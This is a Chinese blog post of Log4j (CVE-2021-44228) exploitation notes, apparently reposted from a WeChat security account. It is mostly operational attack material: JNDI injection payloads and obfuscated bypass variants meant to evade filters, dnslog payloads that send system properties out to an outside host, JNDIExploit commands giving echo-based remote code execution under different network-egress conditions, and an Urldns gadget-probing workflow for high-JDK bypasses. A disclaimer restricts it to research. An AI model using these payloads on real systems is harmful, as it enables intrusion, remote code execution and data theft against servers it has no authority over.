今天水一篇log4j稍微整理一下的笔记
参考文章
https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNghttps://github.com/HackJava/Log4j2
本地测试maven
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version></dependency><dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version></dependency>
本地测试payload
import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;class LogTest { public static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { logger.error("${jndi:ldap://localhost:8888/Exploit}"); }}
触发payload
${jndi:ldap://dns}
绕过payload
原理可以参考https://mp.weixin.qq.com/s/zIhRdgeUp4M_hMYc5JtTSg
(1)${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:1389/e0mlja}(2)${lower:r}${lower:m}${lower:i}$://127.0.0.1:1389/e0mlja(3)${${::-j}ndi:ldap://127.0.0.1:1389/e0mlja}(4)${${env:xxx:-j}ndi:ldap://127.0.0.1:1389/e0mlja}(5)${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://127.0.0.1:1389/e0mlja}
敏感数据带外
参考 http://www.manongjc.com/detail/27-gxiymzbdwwvpdco.htmlhttps://github.com/jas502n/Log4j2-CVE-2021-44228${hostName}${sys:user.dir}${sys:java.version}${java:os}例如${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}${jndi:ldap://${java:version}.x x x.dnslog.cn}
利用场景
利用工具
https://github.com/zzwlpx/JNDIExploithttps://github.com/WhiteHSBG/JNDIExploit
(1)http ldap均出网的情况
java -jar JNDIExploit-1.0-SNAPSHOT.jar -l 1389 -p 8080 -i ip${jndi:ldap://***/TomcatBypass/TomcatEcho} 一般情况下用这个直接打回显比较舒服
(2)ldap出网,http不出网
这种时候考虑可能是http不出网,换用本地bypass的方式进行绕过java -jar JNDIExploit-1.0-SNAPSHOT.jar -l 1389 -p 8080 -i ip${jndi:ldap://***/TomcatBypass/TomcatEcho} 一般情况下用这个直接打回显比较舒服
(3)dns出网,ldap,http均不出网
这时候考虑可能特定端口出网,利用53等端口开启http,ldap服务。java -jar JNDIExploit-1.0-SNAPSHOT.jar -l 53 -p 8080 -i ip
(4)dns出网,开启ldap,http后53端口无法收到请求
可能是限定了53只有udp出网,打不了
(5)dns,ldap,http都出网,攻击失败
这种时候大概率是缺少了对应的依赖,有可能是类似es的日志记录触发了log4j,但是比较难利用。
jdk高版本绕过
需要对应合适的依赖。利用urldns去寻找合适的类,然后去打
https://github.com/kezibei/Urldns
高版本绕过参考
https://tttang.com/archive/1405/https://tttang.com/archive/1489/
urldns使用
直接打反序列化 java -jar Urldns.jar file all dnslog.com 生成1个1.ser,然后发送获取反序列化的数据打jndi java -jar Urldns.jar ldap all dnslog.com 然后post${jndi:ldap://127.0.0.1:1389/exp} exp可以任意更改
Urldns简要分析
目录结构大概如下start 项目开始en 里面可以自行添加需要探测的classde 写反序列化数据findclass 师傅遗留下来的不用管
大概是分为三种模式
(1)获取反序列化数据,传入file
此模式会直接生成探测的反序列化文件,利用反序列化漏洞直接post就行
(2)jndi漏洞探测
基本大同小异,这里就是把payload放在了本地,本地开了一个jndi服务
攻击过程
(1)利用urldns探测到合适的可利用的类(这里没有做不出网炸弹检测,jndi不出网也只能内网利用,目前就那几个方式)(2)利用合适的类,进行高版本绕过利用
原文始发于微信公众号(e0m安全屋):log4j笔记
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论